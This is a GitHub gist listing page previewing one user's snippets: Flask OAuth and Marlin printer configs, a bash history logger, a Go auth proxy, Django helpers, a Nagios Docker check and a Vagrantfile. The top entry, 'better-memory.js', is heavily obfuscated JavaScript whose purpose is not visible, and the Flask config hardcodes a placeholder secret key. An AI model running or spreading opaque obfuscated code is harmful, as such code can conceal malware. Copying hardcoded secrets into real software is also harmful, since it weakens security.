Skip to content

Instantly share code, notes, and snippets.

@srgrn
srgrn / better-memory.js
Created January 5, 2026 09:51
better-memory.js
const w_HYUvSPMxlxtzsrb=RXzke$rSEfkLTZYy;(function(sYetPJrEWKJYzcDwcFZdjdv,wqd$_QFszg){const V_$zzvVSgcxLgKA=RXzke$rSEfkLTZYy,lHPFd$hWnYFhTQMMVldjHArYqR=sYetPJrEWKJYzcDwcFZdjdv();while(!![]){try{const TSMVv_YlFSli$jBjMT=Number(-parseFloat(V_$zzvVSgcxLgKA(0x146))/(Number(parseInt(0x21d8))+Math.max(parseInt(0x1a7d),0x1a7d)*-0x1+parseFloat(parseInt(0x3ad))*Number(-parseInt(0x2))))+Number(-parseFloat(V_$zzvVSgcxLgKA(0x12b))/(Number(0x4f)*-0x6+-0x18ac+0x1a88))*(-parseFloat(V_$zzvVSgcxLgKA(0x129))/(Math.ceil(-parseInt(0x2))*parseInt(0x2b3)+Number(-parseInt(0xd))*parseInt(0x1ea)+0x1e4b))+-parseFloat(V_$zzvVSgcxLgKA(0x144))/(-parseInt(0x18d4)+Number(0x4c0)*Number(-0x5)+Math.max(parseInt(0x3098),0x3098))*(-parseFloat(V_$zzvVSgcxLgKA(0x131))/(0x1e9b+-0x2ff*-parseInt(0x4)+-parseInt(0x2a92)))+parseFloat(V_$zzvVSgcxLgKA(0x127))/(-0x24dc+Math.trunc(0x164e)+parseInt(0xe94))+Math['ceil'](parseFloat(V_$zzvVSgcxLgKA(0x147))/(Math.trunc(-parseInt(0x47))*Number(0x31)+parseInt(0x1)*Number(parseInt(0x22e1))+parseInt(0x1543)*-parse
@srgrn
srgrn / config.py
Created December 31, 2025 06:22
Flask App Builder Oauth Config for azure entra with roles
import os
from flask_appbuilder.security.manager import AUTH_OAUTH
basedir = os.path.abspath(os.path.dirname(__file__))
SECRET_KEY = "thisismyscretkey"
SQLALCHEMY_DATABASE_URI = "sqlite:///" + os.path.join(basedir, "app.db")
# Flask-WTF flag for CSRF
CSRF_ENABLED = True
@srgrn
srgrn / Configuration.h
Created December 9, 2022 15:27
My Marlin 2.x configuration files for ender 3 pro
/**
* Marlin 3D Printer Firmware
* Copyright (c) 2020 MarlinFirmware [https://github.com/MarlinFirmware/Marlin]
*
* Based on Sprinter and grbl.
* Copyright (c) 2011 Camiel Gubbels / Erik van der Zalm
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
@srgrn
srgrn / gist:51606d6f6aff950f7e8c7a5b2d0e2c70
Last active September 4, 2022 17:48
Save history to file based on date.
There is a whole discussion at https://news.ycombinator.com/item?id=20054082
however for bash i used
export PROMPT_COMMAND='if [ "$(id -u)" -ne 0 ]; then echo "$(date "+%Y-%m-%d.%H:%M:%S") $(pwd) $(history 1)" >> ~/.logs/bash-history-$(date "+%Y-%m-%d").log; fi'
i suspect it is from https://spin.atomicobject.com/2016/05/28/log-bash-history/
in the discussion there is reference to https://github.com/tkf/rash
another interesting option - https://www.thegeekdiary.com/how-to-log-every-shell-command-in-linux/
@srgrn
srgrn / proxy.go
Created October 26, 2019 20:43
a simple proxy to convert basic auth to token auth
package main
import (
"flag"
"fmt"
"log"
"net/http"
"net/http/httputil"
"net/url"
"strings"
@srgrn
srgrn / linkheaderpagination.py
Created February 28, 2018 11:37
Django DRF LinkHeaderPagination
from rest_framework import pagination
from rest_framework.response import Response
class LinkHeaderPagination(pagination.CursorPagination):
def paginate_queryset(self, queryset, request, view=None):
try:
self.count = queryset.count()
except (AttributeError, TypeError):
self.count = len(queryset)
return super().paginate_queryset(queryset, request, view=None)
@srgrn
srgrn / DyanmicFieldSeriazliers.py
Created February 28, 2018 11:35
django_dyamic_field_serializer
from rest_framework import serializers
from rest_framework.utils import model_meta
from django.db.models.fields import Field as DjangoModelField
from django.db.models.fields import FieldDoesNotExist
class DynamicAppendFieldsModelSerializer(serializers.ModelSerializer):
"""
A ModelSerializer that takes an additional `fields` argument that
controls which fields should be displayed.
"""
@srgrn
srgrn / check_dockerinfo
Created July 20, 2017 10:52
Docker info for nagios
#!/bin/bash
infotext=$(docker info -f 'Containers {{.Containers}}, Running {{.ContainersRunning}}, Stopped {{.ContainersStopped}}, KernelVersion:{{.KernelVersion}} DockerVersion:{{.ServerVersion}} OS:{{.OperatingSystem}}')
infoGraph=$(docker info -f '|Total={{.Containers}},Running={{.ContainersRunning}}, Stopped={{.ContainersStopped}}')
RESULT=$?
output="OK"
if [ $RESULT -eq 1 ]
then
echo "CRITICAL- Docker not running"

Keybase proof

I hereby claim:

  • I am srgrn on github.
  • I am eran (https://keybase.io/eran) on keybase.
  • I have a public key ASDpcNfDcioQA9vcUTNrjPweE8CJxRBIuAsaM2lgEnYuwgo

To claim this, I am signing this object:

@srgrn
srgrn / Vagrantfile
Created March 5, 2017 11:06
Simple vagrant file for devops linux course
Vagrant.configure("2") do |config|
config.vm.define "arch" do |arch|
arch.vm.box = "ogarcia/archlinux-x64"
end
config.vm.define "ubuntu" do |ubuntu|
ubuntu.vm.box = "ubuntu/xenial64"
end
config.vm.network "private_network", type: "dhcp"
end